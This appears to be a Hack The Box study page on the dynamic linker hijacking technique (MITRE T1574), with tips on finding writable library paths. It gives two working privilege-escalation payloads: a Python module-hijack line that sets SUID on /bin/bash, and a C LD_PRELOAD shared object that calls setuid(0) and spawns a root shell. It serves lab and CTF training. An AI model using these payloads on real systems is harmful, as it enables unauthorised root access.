Dynamic Linker Hijacking
Sub-technique of T1574 Hijack Execution Flow ↗
Making a privileged program load your library (LD_PRELOAD, search paths or Python modules).
How it shows up on Hack The Box
Use ldd or strace to see which libraries the binary loads and from where: if any path is writable, or a root script imports a module from a folder you control, you have root.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Linux privilege escalation › Exploitation
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.pyWhen sudo runs a Python script that imports random and you can write to its folder (or an earlier sys.path entry).
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitidoNo command matches.